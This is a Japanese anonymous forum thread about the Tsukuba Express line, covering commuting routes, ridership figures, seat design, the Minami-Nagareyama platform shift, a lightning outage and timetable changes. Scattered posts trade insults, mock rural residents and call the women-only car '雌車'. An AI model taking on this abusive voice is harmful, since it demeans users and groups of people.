靖国通地下ニテ煩ヒチョッパ音ヲ撒キ散ラシナガラ走行スル東武鐵道壱萬系ノ出来損ナイノ不錆鉄屑ヨ、甚ダ邪魔！！
ULTIMA DRAGON ZERO
伝説ノ最終兵器「究極竜零式」様ノ御降臨ナリ！！
破壊光線ヲ出シツツ靖国通及京葉道路ヲ最高時速四百キロニテ暴走スルナリ。
靖国通ノ地下及江東ノ地下ヲ走ル緑帯ノ東武鐵道壱萬系模倣車体ノ不錆鉄屑「東京都交通局10-000」、
及安物ブロック車体ノ不錆鉄屑京王帝都電鐵九千参拾系ヨ、甚ダ邪魔！！
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南流山から新宿へ行こうと思うのだが、秋葉原から総武線(と中央線を乗り継ぐ)か新御徒町で大江戸線に乗り換えるか、はたまた武蔵野線＋埼京線で行くかのどの選択肢が最善なんだろうね。

武蔵野線ー京葉線ー中央快速線

京葉→中央快速の乗り継ぎとＴＸ→総武線の乗り継ぎのどちらが大変か。
埼京線経由と京葉線経由が大体1時間なんだよね。
4つのなかで乗り換えが楽なのが新御徒町で、その次が武蔵浦和(これも結構不便だが)

…大江戸線使うか。>>421さんありがとうございました。

乗客数が伸びてる駅と伸びてない駅の差が通勤快速に反映されたか

>>376
北千住に待避線があったら
・交互発着で朝ラッシュが速くなってた
・南千住と浅草は平日通勤時間帯の優等通過にしてた

今年６月実績

秋葉原　59,300　
北千住　40,200　
南流山　31,400　
おおたか31,100　
守谷　　　24,900　
つくば　　16,700　交流
八潮　　　16,300　　　通勤快速停車！
新御徒町16,000　
柏の葉　12,900　　　通勤快速停車！
六町　　　11,500　祝　通勤快速停車！！

三郷中央　9,600　　通勤快速通過・・・
浅草　　　　8,800　
青井　　　　6,000　　通勤快速通過・・・
研究学園　5,200　祝　通勤快速停車！！　交流
南千住　　　4,400
みらい平　　3,600　交流
柏たなか　　3,100
みどりの　　3,000　交流
センパ　　　3,000　
万博記念　2,200　交流

>>420
>南流山から新宿へ行こうと思うのだが
夏に一番涼しい、冬に寒くない：TX + 大江戸線　45分(17分+乗換8分+19分) 710円

普通に秋葉経由　45分（乗換込み) 710円

安い：新松戸〜常磐線　など全部JR各種　以下540円のショッピングリストです。
武蔵浦和経由　64分（乗換込み）
新松戸・日暮里経由　60分（乗換込み）
武蔵野線西船橋〜総武線　67分（乗換込み）
武蔵野線〜東京〜新宿　乗車59分　乗換14分　73分

>424
費用対効果（所要時間短縮）を解りやすく説明していて良いね！
あとは各人の価値観で選択すればＯＫ
のんびりＪＲファンも良し、サクサク新し物好きも良し

>>424
帰宅してまいりましたので報告。
行きは大江戸線経由。新宿西口で迷わなければおそらく最速
帰りの東京での京葉線乗り継ぎは実際には7分で出来て65分。勿論動く歩道を速歩きなのだが
20時丁度発の埼京線通勤快速に乗れば57分に着く。
中央快速+総武線+武蔵野線だと京葉線経由と同じ時間。

時間を優先すればやはりＴＸが優位か。地下だから快適性でも大江戸線が一位だな
どの経路でも乗り継ぎが大変だから料金か時間か、ってところだな

乗り継ぎは、ある程度勝ち目が見込める中から、リスク覚悟で
色々試してみるのが良いと思う

長い人生、ある程度の「冒険」もスキルＵＰに不可欠だし、
自分だけの「納得コース」が発見できる可能性もあるし

ＴＸ２０００系は８両化を基準に４Ｍ４Ｔで設計され、
現状は４Ｍ２Ｔ見合いで出力調整中だが、雨天加速時に
Ｍ車駆動輪の空転音を時折耳にするな

８両化時に出力を元に戻したら、空転が頻発しそうだ

しかし、８両化の兆しがまったく見えない‥。
消費税増税により実現が遠のいていくのでは。

TXから新宿まで通勤で使ってるが、秋葉原〜JR経由と新御徒町〜大江戸線経由を
何度か切り替えて比較した結果、最終的に新御徒町乗り換えで定期買った。

メリットは
１）新御徒町での乗り換えが楽（慣れれば２分接続とかでもいける）
２）JR新宿駅と比べると新宿西口駅が格段に空いてて楽

デメリットは帰りのTXで座れないことくらいだな。
一時期、TX以外の区間は定期を買わずに、行きは大江戸線で楽に乗り換え、
帰りはJRで秋葉原から座って帰宅なんてこともやってた。

TXの定期を秋葉原まで買って折り返し乗車できないの。

>>430
帰宅時、大江戸線は全て着席可能だから、ＪＲ常磐線なら
上野〜松戸・柏間とほぼ同じ都内〜おおたかの森・守谷間
２０〜３０分程度なら、折り返ししてまで座りたいとは
俺は思わない

みらい平（我孫子）以遠なら座りたい気持ちはわかるが…

イバから新宿に通勤すること自体がおかしいよ

>>433
そう言うあんたはどこの住人？
勤め先はあるの？
バカなの？
死ぬの？

自営業だけど

ああ、自宅警備員ね。

>>435
そう言うあんたはどこの住人？

ＴＸは東京・埼玉・千葉・茨城のどれが欠けても
開業できなかった３セクであることをお忘れなく

>>431
それやると都営との連絡定期が作れなくなるので、どちらかを
磁気券にしないと新御徒町の乗換改札を通れなくなる。
それに新御徒町を利用してみて分かったが、個人的には
追加料金払ってまで折り返し乗車するメリットは感じられない。
秋葉原に戻っても、座るには１本見送りだし、そうこうしてる間に
さっさと家に帰ってゆっくりした方がいい。

>>432
俺も最終的には、帰りの着席よりも乗り換えの楽さを取って
往復とも新御徒町乗り換えにした。
直流区間の住民なので、座れなくても苦痛な距離じゃないし、
車両選べば六町や八潮あたりで空くし。

７周年記念age

西武って1枚で2区間定期売ってるけど
結局和光市から池袋間の西武とメトロの定期代の合計で割引無しだから
考えた奴も買う奴も馬鹿なんじゃないかと思う
T字形定期なら定期券発売所で相談すれば買える場合もあるのでは？

田舎者を東京に運び続けて７周年

もう７年も経ったか。それで、債務の弁済の見通しは。

>>442
　当初見込みでは開業１０年で単年度黒字ってことで、返済計画ができていたのが、
開業５年で単年度黒字。
　当然、返済に特に問題はないはず。

秋葉原と南流山の改良・ホーム延伸工事が１０月に竣工し、
いよいよ全駅で８両化工事が本格化することをキボン

複数の施工業者を公平に割り振れば、工期は１年以内で全然
問題無しだし、０８年に全駅の延伸設計は着手済だし、後は
ＴＸ側のやる気のみだな

車両は日立も川重も余裕をもって対応可能だし、早めの着手
さえなされれば、何ら問題なし

長期借入金が
22年度は50億円減
23年度は80億円減

現在3000億円を割った
この調子なら30年ちょっとで返せる
まあ1200億円は無利子らしいから
実質は20年ぐらいで有利子を優先返済すればOK

東京延伸しない前提だが。

南流山のホーム伸ばす部分の壁の駅名票が
LEDで光輝いているね

>>445
>東京延伸しない前提だが。

東京延伸以前に、８両化・１０両化、車両全検、各種設備の保守
・更新・改良など出費の時期を上手く計画しないと、財務負担が
集中するな。

３セクなのだから、沿線住民の自治体財政負担に応えるためにも
これらの設備投資計画の早期具体化と開示を願いたい。

>>445
＞この調子なら30年ちょっとで返せる

そこで民営化ですよ。

>>447 の言う設備投資の是非を市場に問うべきでしょうか。

>>448

民営後なら市場に問えるが、あと３０年ちょっとまでは
到底待てないし。

設備投資は広い意味で「待ったなし」だからね。

>>432
おれは我孫子駅利用者だが
「みらい平＝我孫子」って図式はきわめて屈辱的で違和感ありw

都心からの所要時間の同等性、列車の本数、直流区間・交流区間のどの観点からみても
「我孫子＝柏の葉or守谷」が妥当で、守谷以北と同等ってこたあないと思うんだがwww

>>450
>「我孫子＝柏の葉or守谷」
上野〜我孫子　33分
秋葉〜守谷　34分
秋葉〜我孫子　44分

>>450
　>>432は、常磐線は上野起点、TXは新御徒町起点なんじゃね？

↑その通り、共に快速乗車として、上野〜柏、新御徒町〜守谷は共に30分

●柏の次は北柏と一瞬思ったが、別線なので次は「我孫子」
●守谷の次で、柏・我孫子間の距離に一番近いのが「みらい平」

みらい平と我孫子を比べる気は全く無いので、ご容赦戴きたく

実際、地理的に見ればみらい平＝藤代だろうね。

つくば側から見ると、みらい平＝ひたち野うしく〜牛久なんだけどね。

電車の中で化粧をし
優先席でスマホを操作し

まじカッペ女の所作は
みっともなく下品

優先席での携帯・スマホ操作は、全ての鉄道路線で当たり前の状況

マナーの悪さは男の方が絶対数が多く、「まじカッペ野郎」の方が
よっぽど「みっともなく下品」だな

>>446
他はLEDに更新しないの?

>>457
＞優先席での携帯・スマホ操作は、全ての鉄道路線で当たり前の状況

それなら、スマホ優先席に改名するか。

車内のLED照明は気持ち悪いです
ドアの｢ぽーん、ぽーん、｣が気持ち悪いです

車内証明ＬＥＤ化するより常時力行（１０００Ａ）の制御を何とかした方が節電になるんじゃね？

>>461
トップスピード到達後、常時定速制御と、
力行→惰走→力行→惰走の繰り返しと
どちらが省エネか、少しは考えてみた？

当然、ＴＸのき

>>461
トップスピード到達後、常時定速制御と、
力行→惰走→力行→惰走の繰り返しと
どちらが省エネか、少しは考えてみた？

当然、ＴＸの基本思想である「速達性」は
譲れないから、議論にならないな。

省エネ優先なら、時速１３０Ｋｍは論外

今後とも技術革新と、そのタイムリーな採用に徹すれば、
省エネ性と速達性の両立は十分可能だな。

全車両が高速タイプのＴＸの取るべきスタンスは明快。

昨年の夏にJR西の京阪神の新快速/快速/普通が、運転方法の工夫で10％の電力逓減ができたって記事があったな。
基本フルノッチで力行→トップスピードから惰走だけど、
最高速に来る前に下り勾配になったらノッチを切って勾配に任せたりとか、区間区間ごとにいろいろ工夫していたと。

ただこれはダイヤがとことん寝ててチンタラ走ってる新快速だからできる芸当で、
スジが立ってるTXにそんな余裕はないだろうな。

通勤時間帯はただでさえ余分に時間がかかっているし、遠くに家を買ってしまった人が涙目。

それでもつくばから１時間以内で都心に入れるんだから問題ない。

>>466
たかが5分の変化に目くじらを立てるのはどうかと。それくらい朝飯を少し速く食べれば消化できるだろ

守谷〜つくば間を初めて乗った。
クロスシート車も初めて。通路側のテーブルにビツクリ。
椅子そのものは、どんな体格の人を対象にしてるのかよくわからない。
手元に私鉄車両編成表が無いのだが、車号は2471となっている。
天井の照明はLEDっぽい。

来年夏までに全駅で携帯３社の「Ｗｉ−Ｆｉ」対応に　東急が鉄道で初の計画
http://dailynews.yahoo.co.jp/fc/computer/public_wireless_lan/?1346314791

TXは変化しないの？

>>469
2471だと、新車だね。
あのシート、変なクッションの入れ方のせいで、シートバックが体にフィットしなくなった。
テーブルは、ノートＰＣを置くためってことでつけたけど、揺れで画面が見にくい。
休日に子供がおもちゃやお菓子億とかに重宝してるみたい。
漏れは、缶ビールおくのに重宝した。（爆

>>470
TXはドコモが対応してたっけ。ソフトバンクとauでその話はきかないな(メトロはソフトバンクが対応してたっけ)

>>471
常磐でやれ！

>>47
　そう言われても、常磐は遠いんだよね。

ＴＸも７周年を迎えて、開業当時の変な遠慮やカッコ
付けの輩は、最近ほとんど見掛けないけど…

今日の秋葉原１６：３０発の快速で早めに帰宅したが、
遭遇した目撃した３号車の中間北側ボックスシートに
着席したくたびれた風貌の壮年リーマンは、南流山駅
発車後に発泡酒ロング缶２本目を平気で開栓…

>>471
こども美術展号?だった。

吊られていた電車の絵に「ｲﾒ」と書いてあったので
しばらく、何のことだろうと考えていたら、TXのロゴだった…

今日、帰宅時に初めて最新型の71編成に乗車し、
座席を利用したが、コメントの多い背面よりも
座面の方が違和感があった

体格の個人差や好みもあるが、メトロ10000系が
俺にはベスト

>>476
秋葉原18:00の快速だったら俺も乗り合わせた。
71編成に乗るのは3回目くらいだけど、俺は嫌いじゃないな。
ただ、ロング部分にしか乗ったことないので、クロスシートに関しては何とも言えないけど。

新型の椅子に文句多いけど
E233とほぼ同じでしょ？
クッション無しの硬い椅子に散々文句言ってたのにおまえらときたら
新型はきちんとした姿勢で座れば快適だよ

>>478
　いや、きちんとした姿勢で座ると、シートバックの凸が上すぎて腰のホールドが悪い。
　シートバックは、旧型のでよかった。
　座面には特に文句はない。

＞E233とほぼ同じでしょ？
　全然違う。
　E233のシートバックの凸部は下側。TX新型は、シートバックの真ん中あたり。

>>476
　座面に違和感有るのは、シートバックが厚くなったことで、
着座点が前に押し出されるせいかも。
　シートバックのクッションが入った部分の下に隙間があるんで、
そこに無理矢理ケツを押し込んで座ると、漏れには座面は問題ない。

>>481
前屈みに座るのか。
シートバックは小田急の4000形と比べたらどうなんだろう

>>461
各駅停車の方がエネルギー消費が多そう。
一段ブレーキのATOは、案外従来型の地上信号＋手動運転よりも
省エネに貢献してるかもしれない（特に表定速度当たりのエネルギー消費）。

南流山ホームの延長部分に明かりが点いてた
http://beebee2see.appspot.com/i/azuYjcuDBww.jpg

6両編成のまま南流山の上り停車位置を前に2両ずらしたら大変なことになるけどどうするんだろうか

どうして大変なん？
まさか全部のﾎｰﾑドアが開くと思ってる？

ホームへの入場制限を強化。

>>482
　そう、最初は前屈みでケツ突っ込んで、それから体を起こす。
　その状態を長時間保ってられるわけはないんだが、
座面の圧力分布を感じ取る時間はある。

>>486
うるせえよとんちんかん

エスカレーターから降りた周辺が女性専用車
4号車がクロスシートでも大量に降りるからなんとかなってたが
あまり降りなくなるから座ってた奴らの降車に時間がかかる

セントラルパーク側の階段が無用の長物になるから8両化まで動かさないような気がしてきた

>>489
現6号車の位置に4号車が来るのか。
現5号車の所には3号車(北千住でエスカレーターあり)が来るということはホームの混雑が酷くなりそう。

南流山は朝ラッシュだけエスカレーター両方上りにするべきだよ
エスカレーター下りたところに溜まりすぎるし
ついでに8両になるまで女性専用車をやめた方がいい
もちろん停車位置はそのままに

男女雇用機会均等法があるのに女性専用車とはこれいかに。男女不平等だろそれでは。

男性専用車なんか作って誰が喜ぶんだよ

>>493
分かってるくせに

┌(┌>>493)┐

クロス廃止は急務だと思う
そんなにクロスシートを売りにしたいなら
朝外してラッシュが終わったら付けろヴォケ

先頭or最後尾車両は中央部に強化ガラスの仕切りいれて
男女分別車両にすりゃあいいんだよな。
したら全時間帯運用だって構わんのに。

強化ガラスのマジックミラーかな。

休日の６号車は終日フリーのことを繰り返し自動放送して欲しい。
女性の既得権のように乗車率が異常に高く、男性には利用し難い…

>>489
上りと下りでは停車位置をずらすんだが。
下りは現４号の位置が６号
上りは現３号の位置が１号（♀車）になる。

>>499
６号車？
女性と何の関係が？

マジックミラー号

>>500
下りなんかに乗るの数人じゃねえか
動かす必要が無い

これだけ必死に考えてきてこれだけ？

＞どうして大変なん？
＞まさか全部のﾎｰﾑドアが開くと思ってる？

そのレス自分じゃねーよ馬鹿ｗ

>>503
喧嘩腰で書いたおめえさんが悪い

>>502
>下りなんか
ホーム両端は階段・エスカレータが無く、乗り降りしやすいじゃないか。
7時50分ぐらいの、つくば駅は（あくまで個人の思い込みでしかないが）下り客が上り客を
圧倒していますよ。

>>505
会話がカオスすぎる
もう一回全部読んでから書いて

>>506
>会話がカオスすぎる

>502
>下りなんか
TXは、朝ラッシュ下りも乗客は多い。南流山で下りも多いと思うよ。
例えば、終点のつくば駅では、下り客の方が上り客より多いようにも感じる時間帯があるよ。

と言うわけで、下りに　乗る客が居ないはず、と言う502の書き込みは、
実際の利用者でない、あおり厨だろ？　
と言う書き込みが506だよ。時間取らせるなボケ。
どうせ北総あたりだろう。事情知らないから、書き込みが読めないんだよ。

南流山駅は9月23日からホームの位置が２両分前進します。
あと、エスカレータの方向も入れ替わります。

南流山は快速・通勤快速通過でOKかな。新松戸だって快速通過ですからね。

>>509
何のために停車位置ずらすんだよｗ

>>510
「 … 通過でＯＫかな？」なんて
一応、遠慮している見たいだから
今回は大目に見てやってください

>>508
こんなことしても今まで階段2ヶ所とエスカレーターがあったのに
階段一ヶ所減ったら意味ないけどな

>>512
　上下の客がホームの同じ位置に滞留するのを防止するのが目的。
２カ所の階段それぞれに上下の客を振り分ける（階段上ではほぼ一方通行）
メリットがある。

とまった

落雷の影響で、運転を見合わせています。
（9月6日16時03分現在）

ＴＸのサイトでは平常運転の表記のままで電話も通じないんだが、深刻に全体的に停電してるっつーことなのか？

テレ朝で

復旧の見通し無しとの、事

>>516
TXのサイトはだいぶ前からトップに運転見合わせがでかでかと出てるけど。。。

幸い車内に閉じ込められてる人はいないのかな？

復旧は２０時３０分頃を予定と構内放送にて。
架線が切れた個所はセントラル〜おおたか間との事

ＴＸ運転再開

１９：４５再開

北千住、八潮、流山おおたかの森、守谷の主要各駅は防雷施工を終えたが、
今後の更なる対策に期待したいな…

南流山の駅員本当にふざけんな
あんなにバンバン通したって乗れねえよ！
駅員が表に出てきて振替券の確認をするのが筋だろ
一人エスカレーター下に行かせて様子を見て止めさせろよ
マイク放送はマイク放送でダミ声のジジイがダラダラと振替の方は窓口通れと連呼してるだけだし
やる気無いならやめろや南流山の糞駅員ども

ＴＸは避雷針設置の前に、社員の客誘導の仕方から教育しろよ
入場制限の仕方にも問題がある
仕切りを設置して駅から出る客と入る客がごちゃまぜにならないようにするとかさ
コミケスタッフの誘導の仕方とか見ると神がかってるよね
ＴＸも「ここが最後尾です」のプラカードを客に持たせたり、
「前から１０人だけ手を上げてくださーい」と言って客に手を上げさせ小分けに誘導するとか。

ここの駅員ほんと、素人だよな
7年なにしてたの？

俺が他スレで駅員にクレーム言ったって書いたら
うざいとですとかレスつけられたけど。

実際、自分が客ならつくばエクス社員の無能さにイラつくよほんと
無能すぎるんだよ

まあ、運転見合わせとかあまり経験したことがないからなｗ

>>526
ウザいです。

>>526
ウザいです

自慢の電車バカにされて
クソかっぺ、必死だな

>>530
おたくの自慢は何ですか？
バカにされて必死になれるものはありますか？

>>531
なんで田舎者ってスルー出来なく
レスしちゃうの？バカなの？うんこでも食ってろよ

ウザいです

>>532
なんでお前こそスルー出来なくレスしちゃうの？
バカなの？　死ぬの？

>バカなの？　死ぬの？
>バカなの？　死ぬの？
>バカなの？　死ぬの？

まだ使っている奴いるんだな（棒読み）

雷の時は首都圏最悪都市鉄道　スドクヲンチアクドシチョウド　Tエッ糞
がその本領を発揮したね。

雌車を強要することしか考えていないバカ会社だから仕方ない。

つくばエクスプレスのＮゲージでるね(^^)楽しみ

>>536
バカなの？　死ぬの？

もうさー悪口叩く輩なんか相手にしないほうがいいよ。茨城丸出しだからさー、つくばエクスプレスの話をしましょ。

今朝故障車両?が北千住通過してったけど結構スピードだすんだな

南流山の停車位置変更は大失敗するんじゃないのかな
今はそれでも真ん中にエスカレーターの上りが有って特に4号車に降車客が集中しているから
4号車で待っていれば比較的ゆるゆるに乗り込めるのを知っている人達がキチンと分離されているし
両サイドに上り階段があるから分散されている
ところが、前に2両移動したうえに女性専用車のところに逆運転になった上りエスカレーターが鎮座してしまうと
男性は上りエスカレーターの所で待てないし
女性専用車を越えてセントラルパーク側の上り階段に行く人は少ないし
三郷中央側の階段はほぼ5両分の降車客が集中する
今よりもエスカレーター下での交錯が増えるしホームに降りるのにも三郷中央側の階段しか使われなくなる

対策は女性専用車廃止とエスカレーターを両方上りにする

結論上り線は今の停車位置のままのがいい

女性専用車に乗ってつくばのコインロッカーに行こうと。

>>541
　杞憂だよぉ。
　ちうか、言いがかりに近いな、それ。
　元々４号車に余裕があるのは、センパ以北全駅で、
ホーム行きの動線の狭間になってるからだし。
　さらに降りる駅の事情を考えると、
北千住組は新しいホーム行きエスカレーターの２号車に乗るのが便利、
秋葉原組は三郷中央よりの階段で下りた４号車とか、
さらに先に歩いて５号、６号に歩いて分散されるし。
　むしろ、現４号車の位置に、集中するってのよりはマシ。

>>543
まぁもうすぐわかるだろ

>>525
＞コミケスタッフの誘導の仕方とか見ると神がかってるよね
ＴＸはもっとコミケとタイアップしたり、宣伝したりすれば
お互いの良いところを学べると思う。
http://ikura.2ch.net/test/read.cgi/fireworks/1153465864/l50

>>538つまんねえ、馬鹿か。

>>546
バカなの？　死ぬの？

筑波大学、つくばセンターから高速バスを新設するとしたら、
新宿行と池袋行のどっちが良いのだろうか。

>>548
>新宿行と池袋行のどっちが良いのだろうか。
どっちも東京駅から、JRないしメトロですぐ、直通バスは無駄。

>>548
西大通り経由で東京行き

南流山駅の混乱は今より改善されるのか？
上りは秋葉原寄りの階段降りて、ガシガシ歩いて５〜６号車まで行くしかないよなあ。
とりあえず、下り電車の客が降りたあとこの階段使わないだろうし。

南流山の混乱といっても快速前の長時間開くのが原因でしょ？
停車位置をずらす前にダイヤ改正のが良かったと思うんだけどね
しかもダイヤ改正の発表だと南流山が増発の手筈が整ったからみたいな書き方だし

もう来週にはやるんだっけ？
最初の2〜3日は半端なく混乱するだろうな
階段やエスカレーターが有ると思って降りてきた人が右往左往するんだから

>>552
　それ以前に南流山は上下の合計のホームの面積が狭かったって言うのが最大の原因。
　今回は、停車位置をずらすことよりも、ホームの面積増やしたことが重要。

>>553
　今日は既に他の駅の構内放送でもアナウンスしてるよ。

>>554
使える階段が減るんだから面積拡大になってないよ
筑波寄りの階段のところに電車が止まらないって異常でしょ

目の前に電車止まらなくて
かけこみ乗車増えて
余計に遅延

南流山駅で乗客流入より流出が多いって予想した結果が
あのホームだったのか？
地下になったのは経緯知らないけど
高架だったらおおたかの森みたいなホームつくれたのかな？

>>555
異常だぁ？
上りと下りで階段分けたと思えばいい。
おおたかだって、上下それぞれのホームに階段１個ずつなんだから。

>>556
そんなの初日だけだろ。
慣れれば問題ない。

>>558
君はいつも何故に一人で必死になっているのかね？
南流山は下り列車の乗降なんて微々たる物なんだから上り下りを分ける必要が無いよ
一つの階段に乗降客をまとめるのは異常でしょ
おおたかなんてラッシュが片方向にしか存在しない駅と比べる意味もわからないし
朝ラッシュに乗らない鉄オタは黙ってなさいよ

>>559
＞南流山は下り列車の乗降なんて微々たる物なんだから
　ホントか？
　漏れの同僚は、通勤で八潮から下り区快に乗って、南流山で入れ替わりが多いから、座れるそうだけど。

＞おおたかなんてラッシュが片方向にしか存在しない駅と比べる意味もわからないし
　一日乗客数がほとんど同じの駅で比べる意味がわからない？

>>559
>南流山は下り列車の乗降なんて微々たる物なんだから上り下りを分ける必要が無いよ
そんな感想はお前さんだけ。MIRも、スレの多数も、ラッシュ時に上下両方の
客が居ると感じている。MIRは当然「きちんと数えている」だろう。

南流山駅エスカレーターが時間で使い分けの1本以外
4本が上り下り逆転か。
案内図見ても一瞬躊躇する。自動改札2台増設かと思いきや、移設らいいし。
今月で客に慣れてもらって、来月にダイヤ改正って事か？

★女子高生３人盗撮容疑で財務省職員逮捕　つくばＥＸ車内で

・千葉県警柏署は１９日、県迷惑防止条例違反（盗撮）の疑いで、東京都世田谷区上北沢、
　財務省職員、榎本康敬容疑者（４７）を逮捕した。

　逮捕容疑は９月４日午前８時ごろ、つくばエクスプレスの南流山−柏の葉キャンパス間で、
　１７歳と１８歳の女子高生２人のスカート内を携帯型音楽プレーヤーで撮影したほか、
　６日にも同線電車内で女子高生（１７）のスカート内を盗撮した疑い。

　柏署によると「間違いありません」と容疑を認めている。６日に男子高校生が取り押さえ、
　同署が動画を基に被害者を特定した。

　財務省によると、榎本容疑者は平成３年に入省し、千葉県柏市の関税中央分析所で
　研究官として勤務。同省は「事実関係を確認して厳正に対処する」としている。

　http://sankei.jp.msn.com/affairs/news/120919/crm12091914260026-n1.htm

守谷行きの快速、復活するんだな。

>>560-561
いくらなんでもわかりやすい自演すんなw

>>560
八潮で乗って南流山で座れるなんてガラガラだからじゃねーか

通勤快速の種別色は緑なのかな。

>>567
通勤快速の種別色は、オレンジ？時刻表の文字と一緒ならば....

夕方下り１６時半以降八潮駅待避をおおたかの森待避にするために
秋葉原駅の出発間隔が７分３分になるのか。
７分ぶんの客が快速系統に偏りそう

>>568
もうダイヤ発表されたの？

八潮駅の待避設備はいったい何のためにあるのか。
開業当時からしばらくは、無理やり活用って感じで八潮待避だったのに。
南流山駅ユーザーの俺は、朝の上り、何号車に乗るのが良いのか詮索中だが。

>>568
>通勤快速の種別色は、オレンジ？時刻表の文字と一緒ならば....

時刻表ではなく、ダイヤ改正リーフレットだろ？

>夕方下り１６時半以降八潮駅待避をおおたかの森待避にするために
>秋葉原駅の出発間隔が７分３分になるのか。

ならないよ。
通快は秋葉原〜守谷間は区快と同じ停車駅数だから５分ヘッドでＯＫ

18時　通00　普03　区10　普13　区20　普23　通30〜のパターン繰り返し
とともに、17時、20時〜21時もこんな感じだろう。
５分ヘッドではないのでは？　

通快も区快もおおたかまで停車駅数同じでしょ
6分開いていれば逃げ切れるし
おおたかまで先着の普通ならかなり乗るでしょ

>>569
市販の時刻表に出ているらしい。
ソースは抹茶twitter。

秋葉原駅から先行普通と７分開いて、快速もおおたか逃げ切り
南流山駅約１分遅着、乗降時間詰めておおたかまで逃げ切り

ダイヤを組む上では、北千住と守谷のちょうど真ん中あたりの、
南流山に待避設備があるのが一番バランスがいい。
南流山の土地がなくて今の形になってしまったのは残念な限り。

秋葉原23時前後で普通が17分開くところは改善しないのか？
23時台最初の普通混み過ぎなんで快速を区快に落とせば少しはバランス良くなる

南流山を上下2階建てホームにすれば、待避線も作れるよ

ホーム延伸ごときで式典とは..さすが３セクだなあ。
２４日朝のエスカレーター運転切り替えの混乱は凄いのかな？
上りなんて、乗ろうとしらオーバーランか？って間違えたり
やっと乗り込んだら雌車だったとか。

いよいよ南流山駅運用明日から。秋葉原駅は２５日昼？。
ダイヤ改正は１０月１５日。秋葉原駅夕方５分間隔じゃない影響は？。
>>571は不機嫌なのか？

やっぱりダメだな南流山
改札を移設するにしても券売機寄りの2台を移設することねえだろ
明日がマジで見もの

なんで新ダイヤは夕ラッシュ下りの普通がおおたか接続優等の７分後に発車？
日中下りの快速おおたか退避の先発普通は８分前だし、
今でも区快の５分前発車だから、見直しでも６分前が妥当だろ
１０秒刻みダイヤのマジックの可能性もあるが…

>582
>>なんで新ダイヤは夕ラッシュ下りの普通がおおたか接続優等の７分後に発車？

（誤）７分後→（正）７分前 （失礼）

そのうち、優等の混雑度ＵＰをネタに優等４分前の普通八潮を
挿入し始めるかも

でも、通快１・区間快速１・普通２の１５分サイクルが理想だな

武蔵野線のトラブルと被ると、明日の南流山は死亡か？
それとも、いきなり１０両分のホームが本領発揮か？

いつも7時前に南流山から乗ってるから混乱は知らないけど
明朝はいつも通り4号車で待ってみようっと
何人が降りてキョロキョロするかカウントしてみる

>>575>>582
快速、通快、区快、どの場合も7分前の普通がおおたか待避するんだよね。
守谷までの普通の所要時間は40分、通快、区快の所要時間は35分なので、
先行の普通は守谷まで無理なく逃げ切れるはず。開業時の日中は逃げ切っていた。

前々から緩急分離の概念が無いようだけど、停車駅を減らさない限り、優等の利用者数は減らないんじゃないの？
今回の時間調整で、更に優等の混雑が激しくなると思う。

そもそも、開業から一度も夕方の増発が行われないのはなんでだろう。

>>585
今日見た感じでは、駆け込み乗車の失敗が多発していた。
一応警備員さんが2人配置されていた。

>>585
明日も南流山駅の構内は終日案内放送が繰り返されるだろうし
車内放送も自動アナウンスがあるかもね
ホームで一瞬戸惑っているのは、知っているけど勘違いしたケースだな

ダイヤ改正してもつくば方面始発は早くならないんだね
5時半前後とかやる気なさすぎだろ
秋葉原方面より乗ってる人多いのに

>>586
>前々から緩急分離の概念が無いようだけど

まったくもってその通り。
それがなけりゃ通勤快速があんなおかしな停車駅になるわけがない。
いつまで乗降人数多い＝優等停めるべき・・・みたいなド素人発想の種別を設定し続けるつもりだろう？
それが優等のCAOS生み出してることくらいわかるだろに。

区快の存在は自治体意向が絡んでるからTXの一存でどうにかできなかったかもしれんけどさ。
通勤快速の停車駅設定くらいうまくやれただろうに。
まともな緩急分離の概念があれば通勤快速はつ〜守の各駅＋快速停車駅にしてたはず。

各県や金を出してくれた市に止めなきゃいけないし
住宅売る時の売り文句で秋葉原まで何分！とかやってるから
自由に組むわけにはいけないっしょ
確か流山市や千葉県とか相当金出してて必ず止めなきゃいけないんだっけ

まぁ南流山とおおたかは乗換駅だし必ず止めることにはなるけどね

いやむしろ始発や終電は労働条件自体がこれ以上の延長に対応していないのかもね。
（東京メトロとかの終電ルールみたいに）
あと夕方の増発がないのは高速バスの絡みとかあるのかと勘ぐってしまう。
株主の一員でもある関東鉄道の高速バス路線の息の根を止めるわけにいかないっしょって感じで。

3本目の通快遅すぎて吹いた
4本目の八潮接続とかも頭おかしすぎる

>>591
秋葉原方面はそこそこ早くからやってるからつくば方面の始発なら早くできるよ
それにしても糞改正だよな
普通とたいして変わらない区快、区快とたいして変わらない通快
東京近郊は普通で処理、守谷つくばは快速で処理、乗換駅とその他茨城は区間快速で処理すべき

>>592
3本目はラッシュピーク下で普通と平行ダイヤは当然だし
4本目の八潮でのケースは通快の「速達確保」が目的だろ

>>593
一定以上運転密度が高まれば表定速度の低下は不可避
開業当時の１６本／時なら快速も日中と同じが可能
今回２２本／時なので全種別の平行ダイヤ化は当然で
今後の増発・増結で更なる速度低下は当たり前
文句言うならアイデア提案してみれば？

能力も何もない鉄ちゃん連中の知識だけのダイヤ改正評論会がうっとおしいね。
せいぜいＡ列車で行こうだけで妄想膨らましてろよ馬鹿

>>593
　おおたか〜秋葉原の有効本数を増やして混雑を平準化するには
その区間の並行ダイヤ化もやむを得ないだろ？
　「つくば＋守谷」のラッシュ時の乗車人数が「おおたか＋南流山」より多いって言うなら、話は別だが。

>>595
　ラッシュ時の八潮待避も無ければ、１６本／ｈでも快速の日中並は無理。

>>597
それは当然
「開業当初」の八潮退避が絶対条件

　結局、今更ながらに、当初構想通りに、北千住ホームを２階建てで、待避可能に
しなかったのが悔やまれる。

秋葉原〜北千住間で全種別が各駅停車なら意味ないと思われ
退避設備と地下区間の高速仕様での施工はセットで必要だな

ほぼ毎朝3006使ってるけど、15日以降1本早くしないといけないのは俺だけ？

大学入ってからずっと使ってた快速に接続しなくなる…最悪だ

>>601
快速が通勤快速になることで４分延びるよ。
これをどうとるかは、あなた次第だけどね。

平行ダイヤの話が出ると思うのは、なぜ平行ダイヤ＝輸送力増強になるのかという点ですね。
1時間あたりの本数が30本近い、田園都市線、東西線クラスなら、その理論は成り立ちます。しかしTXはわずか22本/h。
このレベルで混雑解消のために待避設備を殺して平行ダイヤを採用している会社は皆無かと思います。

実際にTXを建設する際は、24本/h、45分を両立できることを前提に施設を作りました。
平行ダイヤの設計上の最大本数は32本/hです。これらは建設誌にはっきり明記されています。
開業後、大きく予測が狂ったのは南流山の旅客流動（関係ないけど新御徒町も）ですが、
開業後の駅間通過人員が一度も開示されていないのは周知の通り。
